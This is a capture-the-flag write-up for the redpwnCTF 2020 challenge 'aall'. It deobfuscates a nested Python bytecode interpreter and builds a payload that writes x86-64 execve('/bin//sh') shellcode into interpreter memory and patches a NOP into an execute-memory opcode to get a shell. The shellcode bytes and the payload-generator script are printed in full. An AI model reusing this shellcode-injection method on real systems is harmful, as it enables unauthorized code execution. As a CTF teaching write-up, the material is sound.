redpwnCTF - aall

Posted on June 25, 2020* in ctf-writeups

Challenge

how many layers of vm are you on

like,, maybe 5, or 6 right now my dude

you are like a baby... watch this

nc 2020.redpwnc.tf 31755

We're also given a python file and a Dockerfile.

Decoding

Looking at the python file shows that it writes out a file named breakout.aallo and calls exec on a string after base64-decoding and lzma-uncompressing it. We can modify the file to save the executed file to disk instead. It's a python script, but all of the variables are random unicode characters. Although the python interpreter is happy to run the code, it's nearly impossible to understand.

I wrote a small script to replace all of the unicode characters with a different name:

final = b''
mapping = dict()
counter = 0

for c in decompressed:
    if c >= 128:
        if not c in mapping:
            mapping[c] = 'v' + str(counter)
            counter += 1
        final += mapping[c].encode()
    else:
        final += bytes([c])

open('unpacked1.py', 'wb').write(final)

This results in a slightly easier to read file:

I went ahead and renamed all of the variables and cleaned up the file. The resulting file was clearly an interpreter. An interpreted program is passed through argv, which is then loaded into interpreter memory (an array). The first two bytes of the program contain the address to start interpreting at.

The interpreter isn't too complicated, but it has an interesting instruction %:

elif instr_type == '%':
    idd = id(memory[registers['ip']:]) + 48
    mmapped = mmap.mmap(-1, mmap.PAGESIZE, prot=mmap.PROT_READ | mmap.PROT_WRITE | mmap.PROT_EXEC)
    c_functype = ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_int)
    v3v17v25v21 = ctypes.c_void_p.from_buffer(mmapped)
    function = c_functype(ctypes.addressof(v3v17v25v21))
    v3v19v57v10 = bytes(memory[registers['ip']:]).replace(b'\x00', b'')
    mmapped.write(v3v19v57v10)
    retVal = function(idd)
    del v3v17v25v21
    mmapped.close()

This instruction mmaps a new block of memory, loads the memory following the instruction pointer's current position, and executes it. This means if we somehow insert shellcode into memory, we can execute by using this opcode.

breakout.aall

We also have the file breakout.aall which is the program interpreted by this interpreter. I wrote a script to print a disassembly of this file. This program, when executed by the interpreter (which is executed by the python interpreter), loads the string https://aaronesau.com/files/objectively-wrong.png into memory, and then accepts user input.

breakout.aall acts as an interpreter itself. It has five instructions:

  • > which increments the stack pointer
  • < which decrements the stack pointer
  • + which increments the value at the stack pointer (dereferences the stack pointer and increments the value)
  • - which decrements the value at the stack pointer
  • ? which acts as a NOP

We can use breakout.aall to write values to memory. Since, the opcodes for breakout.aall is also stored in memory, we can modify the executed opcodes to include a % instruction to execute shellcode.

The approach is clear: write shellcode to memory, then overwrite parts of breakout.aal in memory to jump to the shellcode.

Payload Generation

Conveniently, breakout.aall has a NOP instruction that we can overwrite to % to call shellcode. I wrote a script to generate the payload:

sp = 1469


def move_sp_to(goal):
    global sp

    old_sp = sp
    sp = goal

    if goal == old_sp:
        return ''
    if goal > old_sp:
        return '>' * (goal - old_sp)
    if goal < old_sp:
        return '<' * (old_sp - goal)


def write_val(index, value, initial_value=0):
    global sp

    ret = move_sp_to(index)

    if value == initial_value:
        return ret
    if value > initial_value:
        return ret + '+' * (value - initial_value)
    if value < initial_value:
        return ret + '-' * (initial_value - value)


payload = ""

previous = b'\x01\x00\x8a\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00https://aaronesau.com/files/ob'
shellcode = b'\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
print(shellcode)
# % INSTR AT 1398
payload += write_val(1398, 0x25, 0x5)

# write payload
i = 0
for b in shellcode:
    payload += write_val(1400 + i, b, previous[i])
    i += 1

# trigger shellcode
payload += "?"

print(payload)

Since we can only increment and decrement the values at certain locations, I included the values at the memory location before running the script, so that those addresses could be incremented/decremented appropriately.

Piping the output from this script into the program gives us a shell, and we can get the flag: flag{b1ng0!_obl1g4t0ry-sh1tty-cust0m_4rch_ch4l-ftw}.